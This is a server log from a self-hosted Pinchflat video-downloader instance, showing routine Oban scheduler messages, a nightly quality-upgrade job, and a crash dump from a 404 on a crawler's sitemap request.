{"source":"oban","duration":422,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:14:11.187 [info] {"source":"oban","duration":1790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:41.192 [info] {"source":"oban","duration":3265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.254 [info] {"source":"oban","duration":817,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:11.195 [info] {"source":"oban","duration":2305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:41.197 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.256 [info] {"source":"oban","duration":718,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:11.201 [info] {"source":"oban","duration":1856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:41.219 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.258 [info] {"source":"oban","duration":390,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:11.221 [info] {"source":"oban","duration":1740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:41.224 [info] {"source":"oban","duration":2359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.259 [info] {"source":"oban","duration":652,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:11.227 [info] {"source":"oban","duration":2339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:41.230 [info] {"source":"oban","duration":1784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.261 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:11.233 [info] {"source":"oban","duration":2194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:41.235 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.263 [info] {"source":"oban","duration":738,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:11.238 [info] {"source":"oban","duration":2000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:41.240 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.265 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:11.243 [info] {"source":"oban","duration":2643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:41.257 [info] {"source":"oban","duration":12128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.266 [info] {"source":"oban","duration":498,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:11.261 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:41.264 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.268 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:11.270 [info] {"source":"oban","duration":4957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:41.272 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.269 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:24:11.275 [info] {"source":"oban","duration":2341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:41.277 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.270 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:25:11.280 [info] {"source":"oban","duration":2583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:41.282 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.272 [info] {"source":"oban","duration":1154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:11.285 [info] {"source":"oban","duration":2104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:41.292 [info] {"source":"oban","duration":5953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.274 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:11.294 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:41.297 [info] {"source":"oban","duration":1940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.275 [info] {"source":"oban","duration":568,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:11.300 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:41.304 [info] {"source":"oban","duration":3335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.277 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:11.306 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:41.310 [info] {"source":"oban","duration":3534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.278 [info] {"source":"oban","duration":472,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:11.314 [info] {"source":"oban","duration":2133,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:28.007 [info] GET /sitemap.xml 03:30:28.010 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=1396.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:28.012 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1398.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:30:28.012 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:30:28.013 [error] #PID<0.1281396.0> running PinchflatWeb.Endpoint (connection #PID<0.1281390.0>, stream id 2) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1281390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 33252}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1281396.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfsg5sYQp2mIJoADfEx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1281390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 33252}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1281390.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 33252}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1281396.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfsg5sYQp2mIJoADfEx"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 03:30:41.316 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.280 [info] {"source":"oban","duration":865,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:11.320 [info] {"source":"oban","duration":3761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:41.323 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.281 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:11.325 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:41.328 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.284 [info] {"source":"oban","duration":954,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:11.332 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:41.335 [info] {"source":"oban","duration":2718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.287 [info] {"source":"oban","duration":721,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:11.339 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:41.341 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.288 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:11.344 [info] {"source":"oban","duration":2835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:41.350 [info] {"source":"oban","duration":4513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.291 [info] {"source":"oban","duration":2266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:11.354 [info] {"source":"oban","duration":2984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:41.357 [info] {"source":"oban","duration":2451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.297 [info] {"source":"oban","duration":645,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:11.362 [info] {"source":"oban","duration":4754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:41.364 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.298 [info] {"source":"oban","duration":404,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:11.366 [info] {"source":"oban","duration":1101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:41.369 [info] {"source":"oban","duration":2076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.299 [info] {"source":"oban","duration":722,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:11.375 [info] {"source":"oban","duration":4915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:41.378 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.301 [info] {"source":"oban","duration":685,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:11.380 [info] {"source":"oban","duration":1025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:41.382 [info] {"source":"oban","duration":1714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.304 [info] {"source":"oban","duration":1034,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:11.385 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:41.387 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.305 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:11.389 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:41.391 [info] {"source":"oban","duration":1431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.306 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:11.393 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:41.395 [info] {"source":"oban","duration":1767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.307 [info] {"source":"oban","duration":829,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:11.399 [info] {"source":"oban","duration":1980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:41.401 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.309 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:11.406 [info] {"source":"oban","duration":2941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:41.408 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.310 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:11.411 [info] {"source":"oban","duration":2443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:41.414 [info] {"source":"oban","duration":2382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.311 [info] {"source":"oban","duration":709,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:11.416 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:41.421 [info] {"source":"oban","duration":4871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.313 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:11.426 [info] {"source":"oban","duration":3505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:41.428 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.315 [info] {"source":"oban","duration":474,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:11.431 [info] {"source":"oban","duration":1785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:41.434 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.316 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:11.436 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:41.439 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.317 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:11.441 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:41.448 [info] {"source":"oban","duration":5152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.318 [info] {"source":"oban","duration":554,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:11.451 [info] {"source":"oban","duration":2682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:41.454 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.320 [info] {"source":"oban","duration":1318,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:11.462 [info] {"source":"oban","duration":7218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:41.466 [info] {"source":"oban","duration":2840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.321 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:11.469 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:41.473 [info] {"source":"oban","duration":2550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.322 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:11.475 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:41.478 [info] {"source":"oban","duration":2006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.324 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:11.480 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:41.483 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.326 [info] {"source":"oban","duration":763,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:11.486 [info] {"source":"oban","duration":2545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:41.488 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.329 [info] {"source":"oban","duration":1245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:11.490 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:41.493 [info] {"source":"oban","duration":2556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.331 [info] {"source":"oban","duration":982,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:11.495 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:41.497 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.468 [info] {"source":"oban","duration":136080,"event":"plugin:stop","jobs":[2362],"plugin":"Oban.Plugins.Cron"} 04:00:00.475 [info] {"args":{},"id":2362,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1776650400475217382,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:00:00.984 [debug] QUERY OK source="media_items" db=508.3ms queue=0.1ms idle=1281.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 04:00:00.984 [info] Redownloading 0 media items 04:00:00.988 [info] {"args":{},"id":2362,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":510056,"event":"job:stop","queue_time":473077,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:00:11.500 [info] {"source":"oban","duration":2147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:41.504 [info] {"source":"oban","duration":3258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.469 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:11.507 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:41.510 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.470 [info] {"source":"oban","duration":618,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:11.513 [info] {"source":"oban","duration":2700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:41.517 [info] {"source":"oban","duration":2970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.472 [info] {"source":"oban","duration":366,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:11.520 [info] {"source":"oban","duration":2329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:41.522 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.473 [info] {"source":"oban","duration":532,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:11.524 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:41.527 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.475 [info] {"source":"oban","duration":627,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:11.529 [info] {"source":"oban","duration":1819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:41.532 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.477 [info] {"source":"oban","duration":976,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:11.534 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:41.536 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.478 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:11.541 [info] {"source":"oban","duration":2898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:41.544 [info] 